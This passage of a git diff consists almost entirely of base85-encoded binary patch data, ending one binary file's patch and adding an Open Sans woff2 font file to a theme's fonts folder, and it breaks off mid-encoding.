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%0A|ONvrtj~P(cVi2j(tV2B}bkG5nsF&tTs#Cjgc)T
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

literal 0
HcmV?d00001

diff --git a/theme/fonts/open-sans-v17-all-charsets-regular.woff2 b/theme/fonts/open-sans-v17-all-charsets-regular.woff2
new file mode 100644
index 0000000000000000000000000000000000000000..8383e94c65478622baf43553262e0e31b8725e2b
GIT binary patch
literal 43236
zcmV(?K-a%_Pew8T0RR910I1{u5dZ)H0dCX)0H}cg0RR9100000000000000000000
z0000QE*lUWfmQ}!0EY+&fg%ZyG!YOAgw+^?h+hki4gdi*0we>R3IrepgIWi=H4K6Y
zTU<bK25Yxn$|aA^+eYJ4Q%~5tfZfXDZlyy(IMs@d;IMIk8R*_r`2YX^HzbQO=G|-e
zAc|?GBGziPL6!?a93#4blsqCi`T<eFkpi+3#+Z_%2(ehk)s1PsE%&@`NTy`YG9^=L
zF>>5dF7KFUB<kZdb?H7KwKl1}qf((YWUO&Rs%JthbUsXt)-Ky~<Jv-Qu+O};Kl7Q%
zjr4@`xZtOwh!<6loUxUmKv(OuHft#m38T9#@vbIrD8CVreyKyC#W-HbJQZ8`aE03^
zbQz^$*N4R`3sS>_bt5?m8>#WqqYm=MRi-4dpohpwVRKue#|uxm3X46F$UjbB+#<wE
zv>V}x18OK^xWYy6_jm7xq2kXTP05t4HeY?QKEVprt@i~5JDSqJy|%mzj9msLqQzJz
zUikOh@B9CmWF@s9Ageo`BGQPcSa=3Sh#$L8mCwVw>EHKwJc%WiP%;R$KoXV<al{y6
zQ9!{Fqc~<g5#1FH!S}7Td~2;4%cfb|m}M6y-%?L%huM6;-($x15VNdZ(+mYxG-wOM
z>6>h(RvmzCijC+@v<VdqFes~NZNvt%5EU~qa#qY_);1I8=292VPggD?-KL9r6L=In
z{XaD;f1!W^d^rFGXButE28S5edw0{l4xHw2mvWR}otzI+Z7v%H=UgT?cYb7DkSJED
zclX>o!v;uMzzL@@MRWWy*4>}0=l!qSzu{2_s-yWXqGKZ!b;hM)^LMBJCO6V^3QlAW
z+FskFgLOEKF<6Ng%r{z`nEOxC$DX$YLm2EPl6x5d&a78Ux4S8=9rN7NnnP`RqpAN;
zG(w((uJp%cPzZyPNU#}zZHj(g%=~8bwr|D?qZSNNZ^o=xxXp~IfQ<!+SV)P*lrjoM
ztU}$;wey=U3t<}w>wJxZi?svyxspcb%!KSpG(b}JPJWo1_qoJ~#>N1PMIZMD&iNF3
zTZ@kHDYB?|Mf!>UYlr87hn5)pngu{AZm@>{0&a|P%t8mAr?pfs)BFXz<GBzS`;xZ8
zsTf&!9>(Q~BmWV2Lnsc_sVukopQ;L`RVtG%Ncp%wBE3=sUFc5b4sa#qMrCS!tgyG?
z!R}kuEL&Y|wv<fKSQ0E4y4|mrB%fCf&9W?@ssI#x1C8z;v$MOip5$|R_s;O;hCh5G
z1&M-CL4IMTRG}iJsgD0S`=6nx%$y?<@2jmJz({sYH;G%i!2F<jRX4Bp3Yc<B`}ujc
zY4{Q(U<^MDYkBCfw{>|dT|BK0hiJZ-nleDRl9uvttr;-A*Ay%!&IMs}(If~4TNcY7
z;tD`ua&73Fr8LntPgJfy?x`|;uQRXzOZw2W;B88`Q*kOzJG-XW!=+v`^Y#9FdPw36
zkZe|9?^qTta?1$0$*|?W_r#8nai}TX*|bJlm%hx75X+8`Tx78Yv#nLObvE_X>-p5n
zHHX_N$6Pb<`Bd%wc7_0+K|jeURV!yX#G;YxqV?(Bl!H4n0A>JCM4*-gsRTZ072grL
ziJNSKl6@$>^*NNB<d}X))psY!Demsix#)i9-~Ohlf6*4-N>gotTR`ETulUZ&m19$=
zV+nVvN(sdIZ2~9G_({jm<=nxpLSpNpGf(U%>)XBNC0QDV(q+@6ABM1IvQ!Du$>O`;
znJrZl%CCkuv~%Dr38X;_!ZO!?5lDi((-;vkUT8JHoqqP{w%b9cS}~Ii#xhd@ArufY
zI|Ms8d-nKxTwdLiY*xb^S+$A-T_~wgG)QR#O%AC158<}h+!)&bh(#^v2{Q4KbP0>P
zTO{=e)tZ>ur4eSt5l%cMLRQxA#Q)xz+4ugt|A-i?Dk>_fYFtrqMFnwX_iyIK|0D%m
zxOr1JC=?2XKp?QN5IE64{zt<A7UijOu&K5Tf>gKx6$ZOo!Sb-`S@qE&p-l@%ZGen<
z_q<LmMBSl{_27U9xqRm|3FhtQwOoP)7aPgAP_RI#W{UoO)*V|_3W@$6sbzJLOYvla
zcA<lY66QH;9{`HAD(p7fR3ShSLen${bA&=nC9v3-92;B+c$Ebx-4hnfr2BH?$keEZ
ztZ*3@ru!mGYW(iZuqbyvzy@+}MN+9)+*mQ9(tevr@+F#Pu_=<I?jwKsCX)RDU_$^4
zwqqJF6Lb8f#a(dkPn%c%njj9j7LhsKV28z6X0@V_V!iX{)^m6l8cCQ*MnTbrtxODl
z3SWP9Gk@P!i!(uaKgAH;_5IbV*QMK#36nOh5T`_*ckIHdicjp?&6Me_sFcv-&2Ja_
zZ@(#0A&+F>k=%$~+!B?9<fSN0;!-XZQ|5O|PDnnMvUQee<F;wLcG>RRU(h9WOLqy~
zrMs-Fx?T5DccpFx^1r{S>EWC5`EaaBGASJ9e*iyY8^WVVqS;T4DSw_huPFY*>r7}X
zc&^Y|vv9a?Aravig%n<OLXzWp`(P%hkDHGMyVzjAD|Yt{Xd^il**q>ep2v@jZ%Viy
zoAX3k&Vzdqhwovi#?vw2C*}l<FIIs1Pi)3~Mi-gG0T{pf*1Wuz`;sPbnBy}ZvIb%5
zg71&1b5m!1k7ol@-}<i4zIo{{6=oYAXzE&+y_kAFmH+uUeRgVcy7%+_k+}pu{3(+N
zzWL<;9#!RkA4K3I^wC2bB@~fC8ee$A6~5p@7ESQw-2cD-^udbsBUBK>9ulAgp!;9<
zmv_8>dv6B!;No5rgw9D2*m$&$^LTrjyxVE=ors2m$HQ6V?nZ*q#N&R8C*90=zs+~u
z!bHDw2>_RZ{n-O;OFHvGw&uhA?rzJrY|oDD%&t}7MfN1)`~4jmmAllrta@MMNcZsc
z5-^wabW4tzUPDB9{uV>PRxo}fgq$ugw1j(Qe*1jr9rL!Is=Vdr^?sV%3CGauX=4<-
z>0}FgSVx<^j6H~fFz`LwG7Vi*6<HDmo?{tsJ{=GHUAa^&<a60fIu(mX!XY~^)~n^P
z=)1N~Le6O5yN+%BxI<Kr2cThKlhnv6HeB@{yU8@`bU3Ertc0it^X)qK_BxbvMO<mp
zy<F`>B+uh}&~YYvMKRqI_YN7B2|vTMg*T(N;6Co?2*29C-LA`gphBqzi6vlPLgd+a
zQ~P?Eete_g^H#Yve+XuX;Pp*Rhp|4k`B}j22a&WqZJRrR;6VBbkh$Aba~QomOe&Rf
zpZR?VYN?|gs)x8coK?7N)Xk;O@Fv3kPs^*Y=#=`%9M4sg7B=%%Xm6|g*C#8YvBRly
zeE6RmPBV}Fakar7%~ttX+<-iV3nYR=#!UVXXz<Q9g2_3>4vf?RRe=+$G@df!tn{za
zL79(kb8D@x(0$B)>G!`rnvwt`3$%LqLJp1PYlO=>I(N13%*JxWMkh8(C{$5hRSap_
zhpcW%)$nQ3h_jb~s|shuZA#T;?$V0IVmuRSY&SWfB3FPfY6miGGrn^YPcjq^=O|ev
zpS-Z%vdg}xZo1$l6KVlbJv~z89Lq@mDfZC@-M;923kfz``Q2yX(BZ@>1;}C7)x;lm
zMnY-*W_Gi2f^PFbUnE^OY)Y{IP2GfAkkLU)PmHaZ1*fA1S1nvK;rL=hT$PWsn;zW{
z!x2A2oRfAV&93PdHiQgwGvY0PF)J}2nDcCxj5pGhK<qR9)NMFhL%2qA^-Np?mwN9@
zwk&Kq|Mjls7EmhX97MT5Rw}RqnvU(f!%oHQo!`&|u6KSw+vWx5qvQ5gVo*i+&t{h<
zEW=QO{cuRQ<$>zjuH0_7s^XcLvQd+hdmS^0iz%mOIx&&imu<fy%84d+eh=2k%%^@Z
zm!oLM$<=7};sc>=q^#1G$`yn2UhP_rC=sVYA1HIJ*OAy5JH|^$wnSrfa~2Gc<#~2o
z7demELQyYXby*(X0ol2uZCI91fL*{ww=K!?w$RXiST&lSL|Y|5+5+^GcWZg!qeU$D
z3y|ysoX}mq)sWW)%<va+R=q5ytnf>IG`o}fPSB>-H>X&GzK6#3CI2ix#NHnjdDLwu
z*<c_@f);%rw=|>Ysegp+un^*TW>*NQS|%=Rnyf~I!4-mp;fesZ8iR^^)yZw%HB`kO
zICJ-Q3&G_nw~b&@7>;b{tV+qW*BDLhrrS_llLV;YPkVI8!3X#tAE5x{0y?M_JogJh
zcoeMqF@Q@%8Dpy}RLjFqBB;vPWiU2Rr8ytBS1543f8DDj{pZh_X3hCsCO0%Uar!>F
z+8b{6Z9&o^IT(n5+5-WKKP4bJ{gzjoPvFxMx5`8FVZ}*Y4C7>U%~x1dM}Sk}@(HUr
zhB)~v;homiuXVrc!$CeadDj2w9Qb1<{Cxl87l2r!w;T7*?5APl{{h=C1}r}Tuy{E*
zb`g-TWL(!`fgO)0K#ep?A!7Lp*dQ$y>8Uz_oLHiaBozoOHVltPFoKzeyuI&#WFj>y
